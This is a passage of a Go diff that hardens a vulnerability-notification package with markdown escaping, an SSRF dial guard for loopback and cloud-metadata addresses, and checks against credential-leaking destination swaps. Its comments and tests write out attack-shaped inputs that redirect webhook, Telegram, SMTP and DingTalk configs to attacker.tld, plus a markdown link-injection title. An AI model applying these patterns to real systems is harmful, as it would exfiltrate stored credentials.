elements = append(elements, feishuMarkdownDiv(feishuItemLines(it)))
|
||||
if it.DetailURL != "" {
|
||||
@@ -135,7 +152,7 @@ func feishuCard(m Message) map[string]any {
|
||||
if len(m.Items) > 0 {
|
||||
card["header"].(map[string]any)["template"] = feishuSeverityTemplate(m.Items[0].Severity)
|
||||
}
|
||||
return card
|
||||
return card, kept
|
||||
}
|
||||
|
||||
func feishuMarkdownDiv(content string) map[string]any {
|
||||
@@ -155,28 +172,35 @@ func feishuButton(label, url string) map[string]any {
|
||||
}
|
||||
|
||||
// feishuItemLines 渲染单个漏洞的 lark_md 正文。
|
||||
//
|
||||
// lark_md 与 markdown 是同族的文本格式,同样会解析链接与强调,所以来自外部
|
||||
// 的字段一律过 markdownText(单行化 + 转义)——否则一条漏洞标题就能在
|
||||
// 飞书里变成可点击的外链。
|
||||
func feishuItemLines(it Item) string {
|
||||
out := fmt.Sprintf("**%s · %s**", SeverityLabel(it.Severity), it.Title())
|
||||
out := fmt.Sprintf("**%s · %s**", SeverityLabel(it.Severity), markdownText(it.Title(), 0))
|
||||
if it.IsStatusChange() {
|
||||
out += fmt.Sprintf("\n**状态变更**:%s → %s", StatusLabel(it.FromStatus), StatusLabel(it.ToStatus))
|
||||
out += fmt.Sprintf("\n**状态变更**:%s → %s",
|
||||
markdownText(StatusLabel(it.FromStatus), 0), markdownText(StatusLabel(it.ToStatus), 0))
|
||||
}
|
||||
if it.VulnClass != "" && it.VulnClass != it.Title() {
|
||||
out += fmt.Sprintf("\n**类型**:%s", it.VulnClass)
|
||||
out += fmt.Sprintf("\n**类型**:%s", markdownText(it.VulnClass, 0))
|
||||
}
|
||||
if a := assetLine(it.Assets, maxAssetsShown); a != "" {
|
||||
out += fmt.Sprintf("\n**资产**:%s", a)
|
||||
out += fmt.Sprintf("\n**资产**:%s", markdownText(a, 0))
|
||||
}
|
||||
if s := OneLine(it.Summary, maxSummaryRunes); s != "" {
|
||||
out += fmt.Sprintf("\n**摘要**:%s", s)
|
||||
if it.Summary != "" {
|
||||
if s := markdownText(it.Summary, maxSummaryRunes); s != "" {
|
||||
out += fmt.Sprintf("\n**摘要**:%s", s)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// feishuBatchLine 渲染汇总卡片里的一条。
|
||||
func feishuBatchLine(it Item, index int) string {
|
||||
line := fmt.Sprintf("**%d. %s · %s**", index, SeverityLabel(it.Severity), it.Title())
|
||||
line := fmt.Sprintf("**%d. %s · %s**", index, SeverityLabel(it.Severity), markdownText(it.Title(), 0))
|
||||
if a := assetLine(it.Assets, maxAssetsShown); a != "" {
|
||||
line += " — " + a
|
||||
line += " — " + markdownText(a, 0)
|
||||
}
|
||||
return line
|
||||
}
|
||||
+83
-1
@@ -7,12 +7,93 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
)
|
||||
|
||||
// allowLocalTargets 决定是否允许把消息投递到环回 / 链路本地地址。
|
||||
//
|
||||
// 默认拒绝。这几段地址不是 IM 机器人或公网邮件服务器会出现的地方,而它们能
|
||||
// 打到的东西很敏感:同机另一个服务的管理端口、以及云环境的元数据端点
|
||||
// (169.254.169.254,可读出实例凭据)。投递地址是管理员配的,但一个被 XSS/CSRF
|
||||
// 借用的管理会话、或共用同一 JWT 的第二个人,都能靠改配置把响应内容读回来
|
||||
// ——doJSON 会把 4xx/5xx 的响应体前 200 字节写进 last_error,而投递历史接口
|
||||
// 会把它回显出来,这就是一条半盲读原语。
|
||||
//
|
||||
// 但「本机 SMTP 中继」(127.0.0.1:25 上的 postfix)是自建邮件的常见配置,
|
||||
// 一刀切会把人卡住。所以留一个显式逃生口而不是硬编码放行:
|
||||
// 设置 ARTEX_NOTIFY_ALLOW_LOCAL=1 即允许。
|
||||
//
|
||||
// 导出为 AllowLocalTargetsEnv 是为了让测试能明确地打开它——本包与 server 包的
|
||||
// 用例大量使用 127.0.0.1 上的 httptest 假接收端,不打开就全部被守卫拦下。
|
||||
const AllowLocalTargetsEnv = "ARTEX_NOTIFY_ALLOW_LOCAL"
|
||||
|
||||
func allowLocalTargets() bool {
|
||||
v := strings.TrimSpace(os.Getenv(AllowLocalTargetsEnv))
|
||||
return v == "1" || strings.EqualFold(v, "true")
|
||||
}
|
||||
|
||||
// isBlockedDialIP 报告目标 IP 是否属于「默认不允许投递」的地址段。
|
||||
//
|
||||
// 只拒绝环回、链路本地(含云元数据 169.254.169.254)、未指定与组播。
|
||||
// **不拒绝** RFC1918 私网:内网自建 Mattermost / SMTP 中继是很常见的合法用法,
|
||||
// 把它们一并挡掉会让功能在真实环境里直接不可用。这条取舍是刻意的——
|
||||
// 防护要挡住真正敏感的目标,同时不能把正常部署一起废掉。
|
||||
func isBlockedDialIP(ip net.IP) bool {
|
||||
if ip == nil {
|
||||
return true
|
||||
}
|
||||
// IPv4-mapped IPv6(::ffff:127.0.0.1)要还原成 IPv4 再判,否则绕过检查。
|
||||
if v4 := ip.To4(); v4 != nil {
|
||||
ip = v4
|
||||
}
|
||||
return ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() ||
|
||||
ip.IsInterfaceLocalMulticast() || ip.IsUnspecified() || ip.IsMulticast()
|
||||
}
|
||||
|
||||
// blockInternalDial 是 http.Transport 拨号器的 Control 钩子,在**连接建立时**
|
||||
// 检查目标地址。
|
||||
//
|
||||
// 为什么设在拨号阶段而不是只在保存配置时校验:这里才是最终生效点。
|
||||
// 它同时覆盖两种绕过配置校验的情形——DNS 重绑定(校验时解析到公网 IP、
|
||||
// 真正连接时解析到内网)与重定向(虽然我们已拒绝跨主机跳转,但同主机跳转
|
||||
// 仍可能把路径指到别处)。
|
||||
func blockInternalDial(_, address string, _ syscall.RawConn) error {
|
||||
if allowLocalTargets() {
|
||||
return nil
|
||||
}
|
||||
host, _, err := net.SplitHostPort(address)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
ip := net.ParseIP(host)
|
||||
if ip == nil {
|
||||
return fmt.Errorf("无法解析目标地址 %q", host)
|
||||
}
|
||||
if isBlockedDialIP(ip) {
|
||||
return fmt.Errorf("拒绝投递到本机/链路本地地址 %s(如确需投递到本机服务,设置 %s=1)", ip, AllowLocalTargetsEnv)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// notifyTransport 在默认 Transport 的基础上只加一个拨号守卫。
|
||||
// 用 Clone 保留默认的全部调优(连接池、HTTP/2、超时、proxy 等),
|
||||
// 避免为了加一个检查而改动其它行为。
|
||||
var notifyTransport = func() *http.Transport {
|
||||
t, ok := http.DefaultTransport.(*http.Transport)
|
||||
if !ok {
|
||||
return &http.Transport{}
|
||||
}
|
||||
clone := t.Clone()
|
||||
clone.DialContext = (&net.Dialer{Timeout: 10 * time.Second, Control: blockInternalDial}).DialContext
|
||||
return clone
|
||||
}()
|
||||
|
||||
// httpClient 是所有渠道投递共用的客户端。
|
||||
//
|
||||
// 刻意**不**复用项目的全局出口代理(server 侧的 GlobalProxy):那个代理是给渗透
|
||||
@@ -24,7 +105,8 @@ import (
|
||||
// bot token)**就在 URL 里**,跟随跨主机跳转等于把凭据交给重定向目标。同主机
|
||||
// 的跳转(如末尾补斜杠)仍允许。
|
||||
var httpClient = &http.Client{
|
||||
Timeout: 15 * time.Second,
|
||||
Timeout: 15 * time.Second,
|
||||
Transport: notifyTransport,
|
||||
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
||||
if len(via) >= 5 {
|
||||
return errors.New("重定向次数过多")
|
||||
|
||||
+121
-36
@@ -16,7 +16,60 @@ const maxAssetsShown = 3
|
||||
// 不是报告本体,完整内容在平台里。
|
||||
const maxSummaryRunes = 120
|
||||
|
||||
// markdownTitle 返回消息标题(IM 平台的标题栏/卡片标题)。
|
||||
// markdownReservedBytes 预留给消息头部(汇总行 + 级别分布 + 可能的截断提示)
|
||||
// 与尾部(平台链接)。按整条打包时把这部分从预算里扣掉,保证头尾不会被截掉——
|
||||
// 头尾一旦被截,读者连「这是哪一批、还有多少条没显示」都看不出来。
|
||||
const markdownReservedBytes = 320
|
||||
|
||||
// markdownEscape 转义 markdown 元字符。
|
||||
//
|
||||
// 为什么必须做:漏洞标题、摘要、类型、资产展示名全都来自**不可信来源**——
|
||||
// 标题与摘要出自模型输出(模型读的是被测目标的响应),资产的 url 则是扫描
|
||||
// 得到的完整 URL(含目标可控的查询串)。不转义的话,一条标题为
|
||||
//
|
||||
// 登录口 SQL 注入\n[紧急:点此验证账号](http://attacker.tld)
|
||||
//
|
||||
// 的漏洞会在安全工程师的钉钉/飞书里渲染成**可点击的外链**;而
|
||||
// `` 会在渲染时被客户端拉取,等于通报了
|
||||
// 「这条漏洞已经被看过」并泄露阅读者 IP。就算是无恶意的内容,注入的粗体或
|
||||
// 引用块也能把下面的严重漏洞挤出折叠线。
|
||||
//
|
||||
// 转义集合覆盖标题/链接/强调/列表/引用/删除线这几类会改变结构或产生可点击
|
||||
// 元素的字符。`\` 必须最先处理,否则会把后面补上的反斜杠再次转义。
|
||||
func markdownEscape(s string) string {
|
||||
replacer := strings.NewReplacer(
|
||||
`\`, `\\`,
|
||||
"`", "\\`",
|
||||
"*", `\*`,
|
||||
"_", `\_`,
|
||||
"[", `\[`,
|
||||
"]", `\]`,
|
||||
"(", `\(`,
|
||||
")", `\)`,
|
||||
"!", `\!`,
|
||||
"#", `\#`,
|
||||
">", `\>`,
|
||||
"|", `\|`,
|
||||
"~", `\~`,
|
||||
)
|
||||
return replacer.Replace(s)
|
||||
}
|
||||
|
||||
// markdownText 把不可信文本压成单行并转义,供 markdown 正文使用。
|
||||
// 单行化是转义之外的另一半:换行本身就能伪造出新的列表项或引用块,
|
||||
// 而转义字符挡不住它。
|
||||
func markdownText(s string, maxRunes int) string {
|
||||
return markdownEscape(OneLine(s, maxRunes))
|
||||
}
|
||||
|
||||
// markdownTitle 返回消息标题(IM 平台的标题栏/卡片标题),内容是**未转义的原文**。
|
||||
//
|
||||
// 这里刻意不做转义:这个标题被四种语境的渲染器共用——markdown 正文、Telegram 的
|
||||
// HTML、飞书卡片的 plain_text、以及通用 Webhook 的 JSON 与邮件主题。每个语境的
|
||||
// 转义规则都不同(markdown 转义塞进 HTML 会留下可见的反斜杠,塞进 JSON 会污染
|
||||
// 数据),所以转义必须由各自的输出端负责,见 writeItem / feishuItemLines /
|
||||
// telegramEscape。曾经在共享函数里加过 markdown 转义,结果 Telegram 消息里
|
||||
// 出现了 `\(1\)` 这种可见的反斜杠。
|
||||
func markdownTitle(m Message) string {
|
||||
if m.Batch {
|
||||
return fmt.Sprintf("漏洞汇总 · 共 %d 条", len(m.Items))
|
||||
@@ -25,46 +78,71 @@ func markdownTitle(m Message) string {
|
||||
return "漏洞通知"
|
||||
}
|
||||
it := m.Items[0]
|
||||
return fmt.Sprintf("[%s] %s", SeverityLabel(it.Severity), it.Title())
|
||||
return fmt.Sprintf("[%s] %s", SeverityLabel(it.Severity), OneLine(it.Title(), 0))
|
||||
}
|
||||
|
||||
// markdownBody 渲染消息正文。maxBytes<=0 表示不截断;调用方按平台限制传入
|
||||
// (企微 4096 字节是最紧的那个)。截断发生在整篇渲染之后,所以不会切坏
|
||||
// markdown 语法之外的字符——但我们仍按字符边界切,见 TruncateBytes。
|
||||
func markdownBody(m Message, maxBytes int) string {
|
||||
// markdownBody 渲染消息正文,返回正文与**实际写入的条目数**。
|
||||
//
|
||||
// 返回值 kept 是这次投递真正送达的条目数,调用方据此只把前 kept 条标记为
|
||||
// 已送达——被渠道长度上限挡在外面的条目必须留待下一批,而不是跟着一起被
|
||||
// 标记成功。这正是「静默丢失」的来源:消息被截断了,但投递记录显示全部送达,
|
||||
// 没有任何地方能看出后半截从未发出。
|
||||
//
|
||||
// maxBytes<=0 表示不限制。
|
||||
func markdownBody(m Message, maxBytes int) (string, int) {
|
||||
if !m.Batch {
|
||||
if len(m.Items) == 0 {
|
||||
return "", 0
|
||||
}
|
||||
var b strings.Builder
|
||||
writeItem(&b, m.Items[0], "", true)
|
||||
// 单条消息即使超长也照发(由最终截断兜底):一条漏洞的部分信息
|
||||
// 也好过一条都不发。
|
||||
return TruncateBytes(b.String(), maxBytes), 1
|
||||
}
|
||||
|
||||
footer := ""
|
||||
if m.HomeURL != "" {
|
||||
footer = fmt.Sprintf("\n[在平台中查看全部](%s)\n", m.HomeURL)
|
||||
}
|
||||
kept := packItemCount(m.Items, maxBytes, markdownReservedBytes, footer, byteSize, func(it Item, idx int) string {
|
||||
var b strings.Builder
|
||||
writeItem(&b, it, fmt.Sprintf("%d. ", idx+1), false)
|
||||
return b.String()
|
||||
})
|
||||
|
||||
items := m.Items[:kept]
|
||||
var b strings.Builder
|
||||
if m.Batch {
|
||||
b.WriteString(markdownBatchIntro(m))
|
||||
for i, it := range m.Items {
|
||||
writeItem(&b, it, fmt.Sprintf("%d. ", i+1), false)
|
||||
}
|
||||
if m.HomeURL != "" {
|
||||
fmt.Fprintf(&b, "\n[在平台中查看全部](%s)\n", m.HomeURL)
|
||||
}
|
||||
return TruncateBytes(b.String(), maxBytes)
|
||||
b.WriteString(markdownBatchIntro(m, items, len(m.Items)))
|
||||
for i, it := range items {
|
||||
writeItem(&b, it, fmt.Sprintf("%d. ", i+1), false)
|
||||
}
|
||||
if len(m.Items) == 0 {
|
||||
return ""
|
||||
}
|
||||
writeItem(&b, m.Items[0], "", true)
|
||||
return TruncateBytes(b.String(), maxBytes)
|
||||
b.WriteString(footer)
|
||||
return TruncateBytes(b.String(), maxBytes), kept
|
||||
}
|
||||
|
||||
// markdownBatchIntro 渲染汇总消息的开头:时间窗与条数。有了这两项,收到汇总的
|
||||
// 人不用点进平台就能判断这批需不需要立刻处理。
|
||||
func markdownBatchIntro(m Message) string {
|
||||
// markdownBatchIntro 渲染汇总消息的开头:时间窗、条数与级别分布。
|
||||
// 有了这些,收到汇总的人不用点进平台就能判断这批需不需要立刻处理。
|
||||
//
|
||||
// items 是**实际装下**的条目,total 是本批应有的总数。两者不同时必须明说
|
||||
// 「还有多少条在下一条消息里」——否则读者会以为消息头写的那个数字就是全部,
|
||||
// 而后面那些从未发出的条目在界面上完全不存在。
|
||||
func markdownBatchIntro(m Message, items []Item, total int) string {
|
||||
var b strings.Builder
|
||||
if m.WindowMinutes > 0 {
|
||||
fmt.Fprintf(&b, "**近 %d 分钟新增 %d 个漏洞**", m.WindowMinutes, len(m.Items))
|
||||
fmt.Fprintf(&b, "**近 %d 分钟新增 %d 个漏洞**", m.WindowMinutes, total)
|
||||
} else {
|
||||
fmt.Fprintf(&b, "**新增 %d 个漏洞**", len(m.Items))
|
||||
fmt.Fprintf(&b, "**新增 %d 个漏洞**", total)
|
||||
}
|
||||
// 按级别给出分布,让读者一眼看到有没有严重项。
|
||||
if extra := total - len(items); extra > 0 {
|
||||
fmt.Fprintf(&b, "(本条显示前 %d 条,其余 %d 条将在下一条消息继续)", len(items), extra)
|
||||
}
|
||||
// 按级别给出分布,让读者一眼看到有没有严重项。只统计**本条实际包含**的
|
||||
// 条目,保证「严重 3」和下面能数出来的条目一致。
|
||||
counts := map[string]int{}
|
||||
for _, it := range m.Items {
|
||||
for _, it := range items {
|
||||
counts[it.Severity]++
|
||||
}
|
||||
// 固定按级别从高到低列出,未知级别不参与(避免出现「 2」这样的空标签)。
|
||||
var parts []string
|
||||
for _, sev := range []string{"critical", "high", "medium", "low"} {
|
||||
if n := counts[sev]; n > 0 {
|
||||
@@ -82,16 +160,20 @@ func markdownBatchIntro(m Message) string {
|
||||
//
|
||||
// prefix 用于汇总列表的序号;single=true 时渲染完整版(含摘要与回链),
|
||||
// 汇总列表里只渲染一行摘要——否则 50 条汇总会变成一篇长文档。
|
||||
//
|
||||
// 所有来自外部的内容(标题/类型/资产/摘要)都过 markdownText:
|
||||
// 单行化 + 转义。回链是管理员配置的 public_base_url 拼出来的,不是不可信内容,
|
||||
// 且必须是可点的链接,所以原样输出。
|
||||
func writeItem(b *strings.Builder, it Item, prefix string, single bool) {
|
||||
line := fmt.Sprintf("%s**%s · %s**", prefix, SeverityLabel(it.Severity), it.Title())
|
||||
line := fmt.Sprintf("%s**%s · %s**", prefix, SeverityLabel(it.Severity), markdownText(it.Title(), 0))
|
||||
if !single {
|
||||
// 汇总模式:单行呈现,资产与摘要压缩后跟在后面。
|
||||
var extras []string
|
||||
if a := assetLine(it.Assets, maxAssetsShown); a != "" {
|
||||
extras = append(extras, a)
|
||||
extras = append(extras, markdownText(a, 0))
|
||||
}
|
||||
if it.Summary != "" {
|
||||
extras = append(extras, OneLine(it.Summary, 60))
|
||||
extras = append(extras, markdownText(it.Summary, 60))
|
||||
}
|
||||
if len(extras) > 0 {
|
||||
line += " — " + strings.Join(extras, " · ")
|
||||
@@ -101,16 +183,19 @@ func writeItem(b *strings.Builder, it Item, prefix string, single bool) {
|
||||
}
|
||||
b.WriteString(line + "\n")
|
||||
if it.IsStatusChange() {
|
||||
fmt.Fprintf(b, "**状态变更**:%s → %s\n", StatusLabel(it.FromStatus), StatusLabel(it.ToStatus))
|
||||
fmt.Fprintf(b, "**状态变更**:%s → %s\n",
|
||||
markdownText(StatusLabel(it.FromStatus), 0), markdownText(StatusLabel(it.ToStatus), 0))
|
||||
}
|
||||
if it.VulnClass != "" && it.VulnClass != it.Title() {
|
||||
fmt.Fprintf(b, "**类型**:%s\n", it.VulnClass)
|
||||
fmt.Fprintf(b, "**类型**:%s\n", markdownText(it.VulnClass, 0))
|
||||
}
|
||||
if a := assetLine(it.Assets, maxAssetsShown); a != "" {
|
||||
fmt.Fprintf(b, "**资产**:%s\n", a)
|
||||
fmt.Fprintf(b, "**资产**:%s\n", markdownText(a, 0))
|
||||
}
|
||||
if s := OneLine(it.Summary, maxSummaryRunes); s != "" {
|
||||
fmt.Fprintf(b, "**摘要**:%s\n", s)
|
||||
if it.Summary != "" {
|
||||
if s := markdownText(it.Summary, maxSummaryRunes); s != "" {
|
||||
fmt.Fprintf(b, "**摘要**:%s\n", s)
|
||||
}
|
||||
}
|
||||
if it.DetailURL != "" {
|
||||
fmt.Fprintf(b, "[查看详情](%s)\n", it.DetailURL)
|
||||
|
||||
+138
-1
@@ -1,6 +1,10 @@
|
||||
package notify
|
||||
|
||||
import "strings"
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// MaskedPrefix 是掩码值的标记前缀。API 回显凭据时用带此前缀的值替换真实内容,
|
||||
// 更新接口收到带此前缀的值即理解为「保持库中原值不变」。
|
||||
@@ -58,6 +62,139 @@ func MaskConfig(kind string, cfg map[string]any) map[string]any {
|
||||
return out
|
||||
}
|
||||
|
||||
// ErrDestinationChangedWithoutCredentials 表示「目标地址变了,但调用方没有对
|
||||
// 凭据字段表态」。返回它而不是默默放行或默默丢弃凭据,理由见 PrepareConfigUpdate。
|
||||
type ErrDestinationChangedWithoutCredentials struct {
|
||||
Changed []string // 发生变化的目的地键
|
||||
Missing []string // 未显式表态的凭据键
|
||||
}
|
||||
|
||||
func (e *ErrDestinationChangedWithoutCredentials) Error() string {
|
||||
return "目标地址(" + strings.Join(e.Changed, "、") + ")已变更,请同时重新填写凭据字段(" +
|
||||
strings.Join(e.Missing, "、") + "):填入新值,或显式留空表示不再需要凭据。" +
|
||||
"原凭据只对旧地址有效,继续沿用等于把它交给新地址。"
|
||||
}
|
||||
|
||||
// PrepareConfigUpdate 合并渠道配置,并处理「目标地址变更」这一安全敏感情况。
|
||||
//
|
||||
// 它替代裸的 MergeConfig 用在渠道更新路径上,解决的是这样一条实测可行的路径:
|
||||
// 目标地址(消息发往哪)与凭据(用什么身份发)是两套独立字段,而 MergeConfig
|
||||
// 对「未提及的键」一律保留库中原值。于是任何能 PATCH 渠道的人只要**只改地址、
|
||||
// 对凭据避而不谈**,就能让服务器把库里的真凭据发到自己控制的端点:
|
||||
//
|
||||
// webhook {config:{url:"https://attacker.tld"}} → 原始 Authorization 头随请求外发
|
||||
// telegram {config:{base_url:"https://attacker.tld"}} → /bot<真Token>/sendMessage
|
||||
// email {config:{host:"smtp.attacker.tld"}} → STARTTLS 后交出用户名与密码
|
||||
//
|
||||
// 这条路径完全静默、不依赖重定向(所以拒绝跨主机跳转挡不住它),
|
||||
// 而且直接击穿了本包掩码机制的目标——「凭据不回显给浏览器」。
|
||||
//
|
||||
// 规则:只要某个目的地键被改成新值,调用方就必须对**每一个**凭据键显式表态:
|
||||
// - 给出新值 → 用新值
|
||||
// - 显式传空串 → 该字段不再需要凭据(保留清空语义)
|
||||
// - 原样回传掩码值 / 干脆不提这个键 → 拒绝
|
||||
//
|
||||
// 第三种之所以也拒绝,是因为「掩码值」的含义正是「沿用旧凭据」,而旧凭据
|
||||
// 只对旧地址有效。这里刻意不做「自动丢弃凭据」——那对可选凭据字段
|
||||
// (webhook 的 headers、email 的 password)会静默变成「鉴权没了但接口返回 200」,
|
||||
// 比报错更难排查。宁可让操作者多填一次。
|
||||
func PrepareConfigUpdate(kind string, stored, incoming map[string]any) (map[string]any, error) {
|
||||
channel, ok := Get(kind)
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("渠道类型 %q 未注册", kind)
|
||||
}
|
||||
secrets := channel.SecretKeys()
|
||||
destinations := channel.DestinationKeys()
|
||||
|
||||
// 非字符串的凭据值(如 webhook 的 headers 是个对象)里若嵌着掩码字面量,
|
||||
// 说明调用方把「保持原值」的哨兵塞进了结构体内部。MergeConfig 只认「字符串
|
||||
// 且带前缀」为掩码,这种形态会被当普通对象原样存下去——库里真的落下字面量
|
||||
// "__masked__",后续鉴权静默失效且没有任何报错。宁可拒掉。
|
||||
//
|
||||
// 这个检查必须放在**最前面**:地址没变时会走提前返回,放在后面就等于
|
||||
// 只覆盖了「改地址」这一条路径(第一版就是这么放错的,测试直接抓到了)。
|
||||
if err := rejectMaskedInContainers(incoming, secrets); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// 找出真正被改掉的目的地键。掩码值等于「没改」。
|
||||
var changed []string
|
||||
for _, key := range destinations {
|
||||
raw, present := incoming[key]
|
||||
if !present {
|
||||
continue
|
||||
}
|
||||
s, isStr := raw.(string)
|
||||
if isStr && IsMasked(s) {
|
||||
continue
|
||||
}
|
||||
if !sameConfigValue(raw, stored[key]) {
|
||||
changed = append(changed, key)
|
||||
}
|
||||
}
|
||||
if len(changed) == 0 {
|
||||
// 地址没变,走普通合并(掩码值保留原值、空串清空、其余覆盖)。
|
||||
return MergeConfig(stored, incoming), nil
|
||||
}
|
||||
|
||||
// 地址变了:要求对每个凭据键显式表态。
|
||||
var missing []string
|
||||
for _, key := range secrets {
|
||||
raw, present := incoming[key]
|
||||
if !present {
|
||||
missing = append(missing, key)
|
||||
continue
|
||||
}
|
||||
if s, isStr := raw.(string); isStr && IsMasked(s) {
|
||||
missing = append(missing, key)
|
||||
}
|
||||
}
|
||||
if len(missing) > 0 {
|
||||
return nil, &ErrDestinationChangedWithoutCredentials{Changed: changed, Missing: missing}
|
||||
}
|
||||
return MergeConfig(stored, incoming), nil
|
||||
}
|
||||
|
||||
// rejectMaskedInContainers 拒绝把掩码哨兵嵌在非字符串结构里提交。
|
||||
//
|
||||
// 掩码机制的前提是「整个值就是个字符串」。像 webhook 的 headers 这种对象字段,
|
||||
// 只能整体掩码(写成字符串 "__masked__")或整体提交;把哨兵塞进对象内部
|
||||
// 既表达不了「保持不变」,又会被当成真实值存进库。
|
||||
func rejectMaskedInContainers(incoming map[string]any, secretKeys []string) error {
|
||||
for _, key := range secretKeys {
|
||||
raw, present := incoming[key]
|
||||
if !present {
|
||||
continue
|
||||
}
|
||||
if _, isStr := raw.(string); isStr {
|
||||
continue
|
||||
}
|
||||
encoded, err := json.Marshal(raw)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if strings.Contains(string(encoded), MaskedPrefix) {
|
||||
return fmt.Errorf("字段 %s 的内容里含掩码标记 %q:该字段只能整体留空表示沿用、或整体提交新值,不能在结构体内部夹带掩码占位",
|
||||
key, MaskedPrefix)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// sameConfigValue 比较两个配置值是否等价。用 JSON 序列化比较是为了顺带处理
|
||||
// 类型差异——前端提交的端口是 number,而库里读回来的是 float64,直接 == 会误判。
|
||||
func sameConfigValue(a, b any) bool {
|
||||
if a == nil && b == nil {
|
||||
return true
|
||||
}
|
||||
ra, errA := json.Marshal(a)
|
||||
rb, errB := json.Marshal(b)
|
||||
if errA != nil || errB != nil {
|
||||
return false
|
||||
}
|
||||
return string(ra) == string(rb)
|
||||
}
|
||||
|
||||
// MergeConfig 把 incoming 合并到 stored 之上,用于更新渠道配置。
|
||||
//
|
||||
// 规则:
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package notify
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
@@ -113,6 +114,181 @@ func TestMergeConfigKeepsUnmentionedStoredKeys(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrepareConfigUpdateBlocksDestinationSwap 是本包最重要的一条安全不变量:
|
||||
// **改目标地址不能把旧凭据带过去**。
|
||||
//
|
||||
// 这些用例用的正是攻击形状的输入(只改地址、对凭据避而不谈),
|
||||
// 而不是「防御逻辑的正确输入」——只测后者的话,防御没生效也照样全绿。
|
||||
func TestPrepareConfigUpdateBlocksDestinationSwap(t *testing.T) {
|
||||
cases := []struct {
|
||||
name string
|
||||
kind string
|
||||
stored map[string]any
|
||||
incoming map[string]any
|
||||
// wantMissing 是预期被点名的凭据键。
|
||||
wantMissing string
|
||||
}{
|
||||
{
|
||||
name: "通用 Webhook 改地址想沿用 Authorization 头",
|
||||
kind: KindWebhook,
|
||||
stored: map[string]any{
|
||||
"url": "https://legit.example.com/hook",
|
||||
"headers": map[string]any{"Authorization": "Bearer REAL-TOKEN"},
|
||||
},
|
||||
incoming: map[string]any{"url": "https://attacker.tld/c"},
|
||||
wantMissing: "headers",
|
||||
},
|
||||
{
|
||||
name: "Telegram 改 base_url 想把 Bot Token 发到自己的端点",
|
||||
kind: KindTelegram,
|
||||
stored: map[string]any{"bot_token": "123456:REAL", "chat_id": "1", "base_url": "https://api.telegram.org"},
|
||||
incoming: map[string]any{"base_url": "https://attacker.tld"},
|
||||
wantMissing: "bot_token",
|
||||
},
|
||||
{
|
||||
name: "邮件改 SMTP 主机想交出密码",
|
||||
kind: KindEmail,
|
||||
stored: map[string]any{"host": "smtp.corp.com", "port": 587, "password": "REALPW", "from": "[email protected]", "to": []any{"[email protected]"}},
|
||||
incoming: map[string]any{"host": "smtp.attacker.tld"},
|
||||
wantMissing: "password",
|
||||
},
|
||||
{
|
||||
name: "邮件关掉 TLS 也必须重新表态密码",
|
||||
kind: KindEmail,
|
||||
stored: map[string]any{"host": "smtp.corp.com", "port": 587, "tls": false, "password": "REALPW", "from": "[email protected]", "to": []any{"[email protected]"}},
|
||||
incoming: map[string]any{"tls": true},
|
||||
wantMissing: "password",
|
||||
},
|
||||
{
|
||||
// 掩码值 = 「沿用旧凭据」,在地址变更的语境下同样必须拒绝。
|
||||
name: "回传掩码凭据 + 新地址",
|
||||
kind: KindTelegram,
|
||||
stored: map[string]any{"bot_token": "123456:REAL", "chat_id": "1", "base_url": "https://api.telegram.org"},
|
||||
incoming: map[string]any{"base_url": "https://attacker.tld", "bot_token": MaskedValue("123456:REAL")},
|
||||
wantMissing: "bot_token",
|
||||
},
|
||||
{
|
||||
name: "钉钉改 Webhook 想沿用加签密钥",
|
||||
kind: KindDingTalk,
|
||||
stored: map[string]any{"webhook": "https://oapi.dingtalk.com/robot/send?access_token=OLD", "secret": "REALSEC"},
|
||||
incoming: map[string]any{"webhook": "https://attacker.tld/hook"},
|
||||
wantMissing: "secret",
|
||||
},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
merged, err := PrepareConfigUpdate(tc.kind, tc.stored, tc.incoming)
|
||||
if err == nil {
|
||||
t.Fatalf("改地址却未重新表态凭据,应当被拒绝;得到配置 %v", merged)
|
||||
}
|
||||
var target *ErrDestinationChangedWithoutCredentials
|
||||
if !errors.As(err, &target) {
|
||||
t.Fatalf("应返回专门的错误类型以便接口给出可操作提示,得到 %T: %v", err, err)
|
||||
}
|
||||
found := false
|
||||
for _, m := range target.Missing {
|
||||
if m == tc.wantMissing {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("应点名缺失的凭据键 %q,得到 %v", tc.wantMissing, target.Missing)
|
||||
}
|
||||
// 错误信息要能指导操作者怎么修。
|
||||
if !strings.Contains(err.Error(), tc.wantMissing) {
|
||||
t.Errorf("错误信息应提到 %q: %v", tc.wantMissing, err)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrepareConfigUpdateAllowsLegitimateEdits 反向用例:正常的编辑不能被误拦,
|
||||
// 否则这个防护会因为「太烦」而被绕过或删掉。
|
||||
func TestPrepareConfigUpdateAllowsLegitimateEdits(t *testing.T) {
|
||||
cases := []struct {
|
||||
name string
|
||||
kind string
|
||||
stored map[string]any
|
||||
incoming map[string]any
|
||||
}{
|
||||
{
|
||||
name: "只改名字(配置原样回传)",
|
||||
kind: KindWebhook,
|
||||
stored: map[string]any{"url": "https://legit.example.com/hook", "headers": map[string]any{"Authorization": "Bearer REAL"}},
|
||||
incoming: map[string]any{"url": MaskedValue("https://legit.example.com/hook")},
|
||||
},
|
||||
{
|
||||
